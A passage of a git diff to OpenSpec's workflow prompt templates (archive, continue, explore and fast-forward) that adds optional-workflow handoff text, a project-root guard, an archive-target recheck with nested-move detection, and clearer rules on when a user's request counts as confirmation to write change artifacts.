       - Pass that change's fetched specs-rule snapshot into inline sync; inline
         sync must reuse it without fetching instructions again
@@ -541,13 +593,20 @@ ${STORE_SELECTION_GUIDANCE}
 
    c. **Perform the archive**:
 
-      Target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`).
+      Target name: use the \`<target-name>\` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
+
+      **Check if target already exists:**
+      - Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
+      - If yes: record this change as Failed with \`Archive directory already exists\`, leave \`changeRoot\` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
+      - If no: move \`changeRoot\` to the archive directory
 
       \`\`\`bash
       mkdir -p "<planningHome.changesDir>/archive"
       mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
       \`\`\`
 
+      **Confirm the move did not nest:** \`mv\` exits 0 even when the target appeared after the check, moving the change *inside* it. If \`<planningHome.changesDir>/archive/<target-name>/<change-directory-name>\` now exists (the last path segment of \`changeRoot\`), move that directory back to \`changeRoot\` and record this change as Failed with \`Archive directory already exists\`. Never report it as archived.
+
    d. **Track outcome** for each change:
       - Success: archived successfully
       - Failed: error during archive or spec verification (record error)
@@ -662,9 +721,10 @@ No active changes found. Create a new change to get started.
 - Never archive after the user cancels the confirmation — a cancelled batch archives nothing
 - Track and report all outcomes (success/skip/fail)
 - Preserve .openspec.yaml when moving to archive
-- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date)
+- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date)
 - If archive target exists, fail that change but continue with others
-- If sync is requested, run the \`/opsx:sync\` workflow inline (agent-driven) for each change with included delta specs
+- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
+- If sync is requested, ${SYNC_GUARDRAIL} for each change with included delta specs
 - Carry the per-delta \`includedDeltas\` and \`excludedDeltas\` decisions into execution; sync and verify only included deltas
 - Report every excluded delta as \`sync skipped\` without treating the archive itself as skipped
 - Never archive a change while a spec sync is still in flight — run the sync inline and verify main specs at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` before moving \`changeRoot\`

src/core/templates/workflows/continue-change.ts

@@ -5,16 +5,35 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
+
+/**
+ * The planning-complete handoff. Neither `apply` nor `archive` is guaranteed
+ * to be installed, so each half is resolved at generation time (see
+ * optional-workflow.ts).
+ */
+const PLANNING_COMPLETE_HANDOFF = optionalWorkflow(
+  'apply',
+  'You can now implement this change with `/opsx:apply`.',
+  'You can now implement this change - `openspec instructions apply --change "<name>" --json` returns the tasks and how to work them.'
+) + ' ' + optionalWorkflow(
+  'archive',
+  'Once implementation and any tracked work are complete, archive it with `/opsx:archive`.',
+  'Once implementation and any tracked work are complete, archive it with `openspec archive "<name>"`.'
+);
 
 export function getContinueChangeSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-continue-change',
-    description: 'Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.',
+    description: 'Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. Also use when the user says "openspec continue" or "opsx continue".',
     instructions: `Continue working on a change by creating the next artifact.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**
@@ -133,6 +152,8 @@ export function getOpsxContinueCommandTemplate(): CommandTemplate {
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: Optionally specify a change name after \`/opsx:continue\` (e.g., \`/opsx:continue add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**
@@ -171,7 +192,7 @@ ${STORE_SELECTION_GUIDANCE}
    **If all planning artifacts are complete (\`isPlanningComplete: true\`, or legacy \`isComplete: true\`)**:
    - Congratulate the user
    - Show final status including the schema used
-   - Suggest: "Planning is complete! You can now implement this change with \`/opsx:apply\`. Once implementation and any tracked work are complete, archive it with \`/opsx:archive\`."
+   - Suggest: "Planning is complete! ${PLANNING_COMPLETE_HANDOFF}"
    - STOP
 
    ---

src/core/templates/workflows/explore.ts

@@ -5,7 +5,9 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
 
 const PLANNING_GUIDANCE = `## Planning a Change
 
@@ -29,18 +31,62 @@ If this stays a single-device tool, I recommend keeping SQLite to avoid
 adding a service to operate; shared state would need a separate sync design.
 \`\`\``;
 
+/**
+ * Explore's handoffs. A custom profile can install explore without propose or
+ * apply, so each reference is resolved at generation time (see
+ * optional-workflow.ts) instead of naming a workflow that may not exist. The
+ * fallbacks point at explore's own capture path and the always-present CLI.
+ */
+const IMPLEMENT_REQUEST_HANDOFF = optionalWorkflow(
+  'propose',
+  'point them at `/opsx:propose`, which turns the discussion into a change',
+  'offer to capture the discussion as a change, as described below'
+);
+
+const CAPTURE_PLANNING_HANDOFF = optionalWorkflow(
+  'propose',
+  '`/opsx:propose` writes the remaining planning artifacts',
+  'any remaining planning artifacts can be captured here the same way'
+);
+
+const CAPTURE_APPLY_HANDOFF = optionalWorkflow(
+  'apply',
+  '`/opsx:apply` implements the change once tasks exist',
+  'implementation works from the change\'s tasks (`openspec instructions apply --change "<name>" --json`), outside explore mode'
+);
+
+const DISCOVERY_END_HANDOFF = optionalWorkflow(
+  'propose',
+  'Ready to start? Run `/opsx:propose` and this becomes a change.',
+  'Ready to start? I can capture this as a change.'
+);
+
+const SUMMARY_NEXT_STEP = optionalWorkflow(
+  'propose',
+  '- Turn this into a change: `/opsx:propose`',
+  '- Capture this as a change: ask me to'
+);
+
+const GUARDRAIL_HANDOFF = optionalWorkflow(
+  'propose',
+  '`/opsx:propose` turns the discussion into a change, and the work happens there',
+  'offer to capture the discussion as a change, and the work happens from that change'
+);
+
 export function getExploreSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-explore',
-    description: 'Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.',
+    description: 'Enter OpenSpec explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements in a project that uses OpenSpec. Use when the user wants to think through something before or during an OpenSpec change. Also use when the user says "openspec explore" or "opsx explore".',
     instructions: `Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
 
-**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
+**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and ${IMPLEMENT_REQUEST_HANDOFF}. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
 
 **This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 ---
 
 ## The Stance
@@ -124,6 +170,14 @@ This tells you:
 - Their names, schemas, and status
 - What the user might be working on
 
+That is the *change* list - work in flight. It does not include the project's durable capabilities, so list those too:
+\`\`\`bash
+openspec list --specs
+\`\`\`
+Add \`--json\` for ids and requirement counts, and append \`--store "<id>"\` only for a registered standalone store. This is the inventory of what the project already claims to do, and \`openspec list\` on its own never shows it. To look at one, run \`openspec show "<spec-id>" --type spec --json --no-scenarios\` (same \`--store\` rule) - it returns that capability's purpose and requirement texts without pulling the whole spec file into context, and \`--type spec\` stops a change of the same name from making it ambiguous.
+
+The filtered read is only an overview. Before deciding what is already covered or what should change, read each relevant spec in full, including scenarios, with \`openspec show "<spec-id>" --type spec\` (same \`--store\` rule).
+
 Then read the project's own context from the resolved root - \`<root.path>/openspec/config.yaml\` (or \`config.yml\`). Use the \`root.path\` returned above, and skip this if neither file exists:
 - \`context\`: project background - tech stack, conventions, constraints
 - \`rules\`: keyed by artifact id - the entries for an artifact apply only when you write that artifact
@@ -137,14 +191,14 @@ Think freely. When insights crystallize, you might offer:
 - "This feels solid enough to start a change. Want me to create a proposal?"
 - Or keep exploring - no pressure to formalize
 
-If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
+If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
 
 1. Run \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) before creating any artifacts. Never create a new change directory under \`openspec/changes/\` by hand; the CLI scaffold creates required metadata such as \`.openspec.yaml\`. Keep the selected \`--store <id>\` on every applicable follow-up \`status\` and \`instructions\` command.
 2. Run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is \`ready\`, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own \`instruction\` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run \`openspec instructions "<prerequisite-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) for that prerequisite whether it is \`ready\` or \`blocked\`. If its own \`instruction\` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
 3. Follow the returned \`template\` and \`instruction\` fields. Read completed dependency files listed in \`dependencies\`, and apply \`context\` and \`rules\` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to \`resolvedOutputPath\`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
 4. After creating each artifact, re-run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) and continue until every requested artifact is \`done\`, \`skipped\`, or was deliberately skipped because its own \`instruction\` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still \`blocked\` only because you deliberately skipped a conditional prerequisite, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
 
-Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
+Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: ${CAPTURE_PLANNING_HANDOFF}, and ${CAPTURE_APPLY_HANDOFF}. Capturing artifacts never starts implementing them.
 
 ### When a change exists
 
@@ -300,7 +354,7 @@ You: That changes everything.
 
 There's no required ending. Discovery might:
 
-- **Flow into a proposal**: "Ready to start? I can create a change proposal."
+- **Flow into a proposal**: "${DISCOVERY_END_HANDOFF}"
 - **Result in artifact updates**: "Updated design.md with these decisions"
 - **Just provide clarity**: User has what they need, moves on
 - **Continue later**: "We can pick this up anytime"
@@ -317,7 +371,7 @@ When it feels like things are crystallizing, you might summarize:
 **Open questions**: [if any remain]
 
 **Next steps** (if ready):
-- Create a change proposal
+${SUMMARY_NEXT_STEP}
 - Keep exploring: just keep talking
 \`\`\`
 
@@ -327,11 +381,11 @@ But this summary is optional. Sometimes the thinking IS the value.
 
 ## Guardrails
 
-- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or \`openspec/config.yaml\` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
+- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or \`openspec/config.yaml\` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: ${GUARDRAIL_HANDOFF}.
 - **Don't fake understanding** - If something is unclear, dig deeper
 - **Don't rush** - Discovery is thinking time, not task time
 - **Don't force structure** - Let patterns emerge naturally
-- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including \`openspec new change\` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
+- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including \`openspec new change\` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs \`openspec new change\` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
 - **Don't manually scaffold changes** - Never create a new change directory under \`openspec/changes/\` by hand. Always use \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) so required metadata such as \`.openspec.yaml\` is created before writing artifacts.
 - **Do visualize** - A good diagram is worth many paragraphs
 - **Do explore the codebase** - Ground discussions in reality
@@ -350,12 +404,14 @@ export function getOpsxExploreCommandTemplate(): CommandTemplate {
     tags: ['workflow', 'explore', 'experimental', 'thinking'],
     content: `Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
 
-**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
+**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and ${IMPLEMENT_REQUEST_HANDOFF}. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
 
 **This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: The argument after \`/opsx:explore\` is whatever the user wants to think about. Could be:
 - A vague idea: "real-time collaboration"
 - A specific problem: "the auth system is getting unwieldy"
@@ -446,6 +502,14 @@ This tells you:
 - Their names, schemas, and status
 - What the user might be working on
 
+That is the *change* list - work in flight. It does not include the project's durable capabilities, so list those too:
+\`\`\`bash
+openspec list --specs
+\`\`\`
+Add \`--json\` for ids and requirement counts, and append \`--store "<id>"\` only for a registered standalone store. This is the inventory of what the project already claims to do, and \`openspec list\` on its own never shows it. To look at one, run \`openspec show "<spec-id>" --type spec --json --no-scenarios\` (same \`--store\` rule) - it returns that capability's purpose and requirement texts without pulling the whole spec file into context, and \`--type spec\` stops a change of the same name from making it ambiguous.
+
+The filtered read is only an overview. Before deciding what is already covered or what should change, read each relevant spec in full, including scenarios, with \`openspec show "<spec-id>" --type spec\` (same \`--store\` rule).
+
 Then read the project's own context from the resolved root - \`<root.path>/openspec/config.yaml\` (or \`config.yml\`). Use the \`root.path\` returned above, and skip this if neither file exists:
 - \`context\`: project background - tech stack, conventions, constraints
 - \`rules\`: keyed by artifact id - the entries for an artifact apply only when you write that artifact
@@ -461,14 +525,14 @@ Think freely. When insights crystallize, you might offer:
 - "This feels solid enough to start a change. Want me to create a proposal?"
 - Or keep exploring - no pressure to formalize
 
-If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
+If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
 
 1. Run \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) before creating any artifacts. Never create a new change directory under \`openspec/changes/\` by hand; the CLI scaffold creates required metadata such as \`.openspec.yaml\`. Keep the selected \`--store <id>\` on every applicable follow-up \`status\` and \`instructions\` command.
 2. Run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is \`ready\`, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own \`instruction\` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run \`openspec instructions "<prerequisite-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) for that prerequisite whether it is \`ready\` or \`blocked\`. If its own \`instruction\` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
 3. Follow the returned \`template\` and \`instruction\` fields. Read completed dependency files listed in \`dependencies\`, and apply \`context\` and \`rules\` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to \`resolvedOutputPath\`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
 4. After creating each artifact, re-run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) and continue until every requested artifact is \`done\`, \`skipped\`, or was deliberately skipped because its own \`instruction\` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still \`blocked\` only because you deliberately skipped a conditional prerequisite, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
 
-Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
+Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: ${CAPTURE_PLANNING_HANDOFF}, and ${CAPTURE_APPLY_HANDOFF}. Capturing artifacts never starts implementing them.
 
 ### When a change exists
 
@@ -520,7 +584,7 @@ If the user mentions a change or you detect one is relevant:
 
 There's no required ending. Discovery might:
 
-- **Flow into a proposal**: "Ready to start? I can create a change proposal."
+- **Flow into a proposal**: "${DISCOVERY_END_HANDOFF}"
 - **Result in artifact updates**: "Updated design.md with these decisions"
 - **Just provide clarity**: User has what they need, moves on
 - **Continue later**: "We can pick this up anytime"
@@ -531,11 +595,11 @@ When things crystallize, you might offer a summary - but it's optional. Sometime
 
 ## Guardrails
 
-- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or \`openspec/config.yaml\` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
+- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or \`openspec/config.yaml\` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: ${GUARDRAIL_HANDOFF}.
 - **Don't fake understanding** - If something is unclear, dig deeper
 - **Don't rush** - Discovery is thinking time, not task time
 - **Don't force structure** - Let patterns emerge naturally
-- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including \`openspec new change\` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
+- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including \`openspec new change\` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs \`openspec new change\` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
 - **Don't manually scaffold changes** - Never create a new change directory under \`openspec/changes/\` by hand. Always use \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) so required metadata such as \`.openspec.yaml\` is created before writing artifacts.
 - **Do visualize** - A good diagram is worth many paragraphs
 - **Do explore the codebase** - Ground discussions in reality

src/core/templates/workflows/ff-change.ts

@@ -5,16 +5,40 @@
  * templates file into workflow-focused modules.
  */
 import type { SkillTemplate, CommandTemplate } from '../types.js';
+import { optionalWorkflow } from '../optional-workflow.js';
 import { STORE_SELECTION_GUIDANCE } from './store-selection.js';
+import { PROJECT_ROOT_GUARD } from './project-root.js';
+
+/**
+ * The implementation handoff, resolved at generation time so a profile
+ * without `apply` is not told to run it (see optional-workflow.ts).
+ *
+ * The two surfaces word this differently on purpose (#258): a command-only
+ * tool has no conversational agent to ask, so its prompt names a command or
+ * the CLI and never invites "ask me to implement".
+ */
+const SKILL_APPLY_HANDOFF = optionalWorkflow(
+  'apply',
+  'Run `/opsx:apply` or ask me to implement to start working on the tasks.',
+  'Ask me to implement to start working on the tasks.'
+);
+
+const COMMAND_APPLY_HANDOFF = optionalWorkflow(
+  'apply',
+  'Run `/opsx:apply` to start implementing.',
+  'Run `openspec instructions apply --change "<name>" --json` to get the task list and start implementing.'
+);
 
 export function getFfChangeSkillTemplate(): SkillTemplate {
   return {
     name: 'openspec-ff-change',
-    description: 'Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.',
+    description: 'Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. Also use when the user says "openspec ff" or "opsx ff".',
     instructions: `Fast-forward through artifact creation - generate everything needed to start implementation in one go.
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
 
 **Steps**
@@ -97,7 +121,7 @@ After completing all artifacts, summarize:
 - Change name and location
 - List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why
 - What's ready: "All artifacts needed for implementation are ready."
-- Prompt: "Run \`/opsx:apply\` or ask me to implement to start working on the tasks."
+- Prompt: "${SKILL_APPLY_HANDOFF}"
 
 **Artifact Creation Guidelines**
 
@@ -132,6 +156,8 @@ export function getOpsxFfCommandTemplate(): CommandTemplate {
 
 ${STORE_SELECTION_GUIDANCE}
 
+${PROJECT_ROOT_GUARD}
+
 **Input**: The argument after \`/opsx:ff\` is the change name (kebab-case), OR a description of what the user wants to build.
 
 **Steps**
@@ -214,7 +240,7 @@ After completing all artifacts, summarize:
 - Change name and location
 - List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why
 - What's ready: "All artifacts needed for implementation are ready."
-- Prompt: "Run \`/opsx:apply\` to start implementing."
+- Prompt: "${COMMAND_APPLY_HANDOFF}"
 
 **Artifact Creation Guidelines**